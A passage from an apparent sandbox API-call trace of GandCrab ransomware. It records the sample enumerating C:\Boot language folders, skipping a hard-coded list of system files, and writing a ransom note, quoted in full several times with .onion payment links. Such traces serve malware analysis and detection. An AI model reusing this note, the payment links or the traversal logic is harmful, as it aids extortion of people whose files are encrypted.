lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\el-GR\\memtest.exe.mui") returned="C:\\Boot\\el-GR\\memtest.exe.mui" [0052.569] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29 [0052.569] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.569] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0052.569] FindClose (in: hFindFile=0x588a20 | out: hFindFile=0x588a20) returned 1 [0052.569] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.569] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\el-GR\\\\GDCB-DECRYPT.txt") returned 31 [0052.570] CreateFileW (lpFileName="C:\\Boot\\el-GR\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\el-gr\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e0 [0052.570] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0052.570] WriteFile (in: hFile=0x4e0, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285f794, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285f794*=0xad6, lpOverlapped=0x0) returned 1 [0052.570] CloseHandle (hObject=0x4e0) returned 1 [0052.571] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.571] lstrlenW (lpString="C:\\Boot\\el-GR\\") returned 14 [0052.571] lstrcatW (in: lpString1="C:\\Boot\\el-GR\\", lpString2="*" | out: lpString1="C:\\Boot\\el-GR\\*") returned="C:\\Boot\\el-GR\\*" [0052.571] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x588ea0 [0052.571] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.571] FindNextFileW (in: hFindFile=0x588ea0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.571] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.571] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.571] FindNextFileW (in: hFindFile=0x588ea0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.571] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.571] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.571] lstrcatW (in: lpString1="C:\\Boot\\el-GR\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned="C:\\Boot\\el-GR\\bootmgr.exe.mui" [0052.571] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.572] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0052.572] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0052.572] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.572] FindNextFileW (in: hFindFile=0x588ea0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.572] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0052.572] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0052.572] lstrcatW (in: lpString1="C:\\Boot\\el-GR\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\el-GR\\GDCB-DECRYPT.txt") returned="C:\\Boot\\el-GR\\GDCB-DECRYPT.txt" [0052.572] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.572] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\el-GR\\GDCB-DECRYPT.txt") returned 30 [0052.572] lstrlenW (lpString="C:\\Boot\\el-GR\\GDCB-DECRYPT.txt") returned 30 [0052.572] lstrlenW (lpString="C:\\Boot\\el-GR\\GDCB-DECRYPT.txt") returned 30 [0052.572] lstrlenW (lpString="C:\\Boot\\el-GR\\GDCB-DECRYPT.txt") returned 30 [0052.572] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0052.572] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0052.572] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0052.572] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0052.572] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0052.573] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0052.573] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0052.573] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0052.573] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0052.573] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.573] FindNextFileW (in: hFindFile=0x588ea0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.573] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0052.573] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0052.573] lstrcatW (in: lpString1="C:\\Boot\\el-GR\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\el-GR\\memtest.exe.mui") returned="C:\\Boot\\el-GR\\memtest.exe.mui" [0052.573] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.573] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29 [0052.573] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29 [0052.573] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.573] FindNextFileW (in: hFindFile=0x588ea0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0052.573] FindClose (in: hFindFile=0x588ea0 | out: hFindFile=0x588ea0) returned 1 [0052.574] FindNextFileW (in: hFindFile=0x588ce0, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0052.574] lstrcmpW (lpString1="en-GB", lpString2=".") returned 1 [0052.574] lstrcmpW (lpString1="en-GB", lpString2="..") returned 1 [0052.574] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="en-GB" | out: lpString1="C:\\Boot\\en-GB") returned="C:\\Boot\\en-GB" [0052.574] lstrcatW (in: lpString1="C:\\Boot\\en-GB", lpString2="\\" | out: lpString1="C:\\Boot\\en-GB\\") returned="C:\\Boot\\en-GB\\" [0052.574] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.574] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0052.574] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0052.574] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0052.574] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0052.574] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.574] lstrlenW (lpString="C:\\Boot\\en-GB\\") returned 14 [0052.574] lstrcatW (in: lpString1="C:\\Boot\\en-GB\\", lpString2="*" | out: lpString1="C:\\Boot\\en-GB\\*") returned="C:\\Boot\\en-GB\\*" [0052.574] FindFirstFileW (in: lpFileName="C:\\Boot\\en-GB\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x588de0 [0052.575] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.575] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.575] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.575] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.575] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.575] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.575] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.575] lstrcatW (in: lpString1="C:\\Boot\\en-GB\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\en-GB\\bootmgr.exe.mui") returned="C:\\Boot\\en-GB\\bootmgr.exe.mui" [0052.575] lstrlenW (lpString="C:\\Boot\\en-GB\\bootmgr.exe.mui") returned 29 [0052.575] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.575] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0052.575] FindClose (in: hFindFile=0x588de0 | out: hFindFile=0x588de0) returned 1 [0052.575] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.576] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\en-GB\\\\GDCB-DECRYPT.txt") returned 31 [0052.576] CreateFileW (lpFileName="C:\\Boot\\en-GB\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\en-gb\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e0 [0052.576] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0052.576] WriteFile (in: hFile=0x4e0, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285f794, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285f794*=0xad6, lpOverlapped=0x0) returned 1 [0052.577] CloseHandle (hObject=0x4e0) returned 1 [0052.577] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.577] lstrlenW (lpString="C:\\Boot\\en-GB\\") returned 14 [0052.577] lstrcatW (in: lpString1="C:\\Boot\\en-GB\\", lpString2="*" | out: lpString1="C:\\Boot\\en-GB\\*") returned="C:\\Boot\\en-GB\\*" [0052.577] FindFirstFileW (in: lpFileName="C:\\Boot\\en-GB\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x588de0 [0052.577] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.577] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.577] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.577] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.577] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.577] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.577] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.577] lstrcatW (in: lpString1="C:\\Boot\\en-GB\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\en-GB\\bootmgr.exe.mui") returned="C:\\Boot\\en-GB\\bootmgr.exe.mui" [0052.577] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.578] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\en-GB\\bootmgr.exe.mui") returned 29 [0052.578] lstrlenW (lpString="C:\\Boot\\en-GB\\bootmgr.exe.mui") returned 29 [0052.578] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.578] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.578] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0052.578] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0052.578] lstrcatW (in: lpString1="C:\\Boot\\en-GB\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\en-GB\\GDCB-DECRYPT.txt") returned="C:\\Boot\\en-GB\\GDCB-DECRYPT.txt" [0052.578] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.578] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\en-GB\\GDCB-DECRYPT.txt") returned 30 [0052.578] lstrlenW (lpString="C:\\Boot\\en-GB\\GDCB-DECRYPT.txt") returned 30 [0052.579] lstrlenW (lpString="C:\\Boot\\en-GB\\GDCB-DECRYPT.txt") returned 30 [0052.579] lstrlenW (lpString="C:\\Boot\\en-GB\\GDCB-DECRYPT.txt") returned 30 [0052.579] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0052.579] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0052.579] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0052.579] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0052.579] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0052.579] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0052.579] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0052.579] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0052.579] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0052.579] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.579] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0052.579] FindClose (in: hFindFile=0x588de0 | out: hFindFile=0x588de0) returned 1 [0052.579] FindNextFileW (in: hFindFile=0x588ce0, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0052.579] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0052.579] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0052.579] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="en-US" | out: lpString1="C:\\Boot\\en-US") returned="C:\\Boot\\en-US" [0052.579] lstrcatW (in: lpString1="C:\\Boot\\en-US", lpString2="\\" | out: lpString1="C:\\Boot\\en-US\\") returned="C:\\Boot\\en-US\\" [0052.579] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.579] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0052.579] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0052.579] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0052.580] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0052.580] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.580] lstrlenW (lpString="C:\\Boot\\en-US\\") returned 14 [0052.580] lstrcatW (in: lpString1="C:\\Boot\\en-US\\", lpString2="*" | out: lpString1="C:\\Boot\\en-US\\*") returned="C:\\Boot\\en-US\\*" [0052.580] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x588a20 [0052.580] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.580] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.580] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.580] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.580] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.580] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.580] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.580] lstrcatW (in: lpString1="C:\\Boot\\en-US\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\en-US\\bootmgr.exe.mui") returned="C:\\Boot\\en-US\\bootmgr.exe.mui" [0052.580] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0052.580] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.580] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.580] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0052.580] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0052.580] lstrcatW (in: lpString1="C:\\Boot\\en-US\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\en-US\\memtest.exe.mui") returned="C:\\Boot\\en-US\\memtest.exe.mui" [0052.580] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0052.580] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.580] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0052.580] FindClose (in: hFindFile=0x588a20 | out: hFindFile=0x588a20) returned 1 [0052.580] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.581] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\en-US\\\\GDCB-DECRYPT.txt") returned 31 [0052.581] CreateFileW (lpFileName="C:\\Boot\\en-US\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\en-us\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e0 [0052.581] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0052.581] WriteFile (in: hFile=0x4e0, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285f794, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285f794*=0xad6, lpOverlapped=0x0) returned 1 [0052.581] CloseHandle (hObject=0x4e0) returned 1 [0052.582] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.582] lstrlenW (lpString="C:\\Boot\\en-US\\") returned 14 [0052.582] lstrcatW (in: lpString1="C:\\Boot\\en-US\\", lpString2="*" | out: lpString1="C:\\Boot\\en-US\\*") returned="C:\\Boot\\en-US\\*" [0052.582] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x588de0 [0052.582] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.582] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.582] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.582] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.582] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.582] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.582] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.582] lstrcatW (in: lpString1="C:\\Boot\\en-US\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\en-US\\bootmgr.exe.mui") returned="C:\\Boot\\en-US\\bootmgr.exe.mui" [0052.582] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.582] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0052.582] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0052.583] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.583] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.583] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0052.583] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0052.583] lstrcatW (in: lpString1="C:\\Boot\\en-US\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\en-US\\GDCB-DECRYPT.txt") returned="C:\\Boot\\en-US\\GDCB-DECRYPT.txt" [0052.583] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.583] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\en-US\\GDCB-DECRYPT.txt") returned 30 [0052.583] lstrlenW (lpString="C:\\Boot\\en-US\\GDCB-DECRYPT.txt") returned 30 [0052.583] lstrlenW (lpString="C:\\Boot\\en-US\\GDCB-DECRYPT.txt") returned 30 [0052.583] lstrlenW (lpString="C:\\Boot\\en-US\\GDCB-DECRYPT.txt") returned 30 [0052.583] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0052.583] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0052.583] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0052.583] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0052.583] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0052.583] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0052.583] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0052.583] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0052.583] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0052.583] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.583] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.584] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0052.584] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0052.584] lstrcatW (in: lpString1="C:\\Boot\\en-US\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\en-US\\memtest.exe.mui") returned="C:\\Boot\\en-US\\memtest.exe.mui" [0052.584] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.584] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0052.584] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0052.584] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.584] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0052.584] FindClose (in: hFindFile=0x588de0 | out: hFindFile=0x588de0) returned 1 [0052.584] FindNextFileW (in: hFindFile=0x588ce0, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0052.584] lstrcmpW (lpString1="es-ES", lpString2=".") returned 1 [0052.584] lstrcmpW (lpString1="es-ES", lpString2="..") returned 1 [0052.584] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="es-ES" | out: lpString1="C:\\Boot\\es-ES") returned="C:\\Boot\\es-ES" [0052.584] lstrcatW (in: lpString1="C:\\Boot\\es-ES", lpString2="\\" | out: lpString1="C:\\Boot\\es-ES\\") returned="C:\\Boot\\es-ES\\" [0052.584] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.585] SHGetSpecialFolderPathW (in: 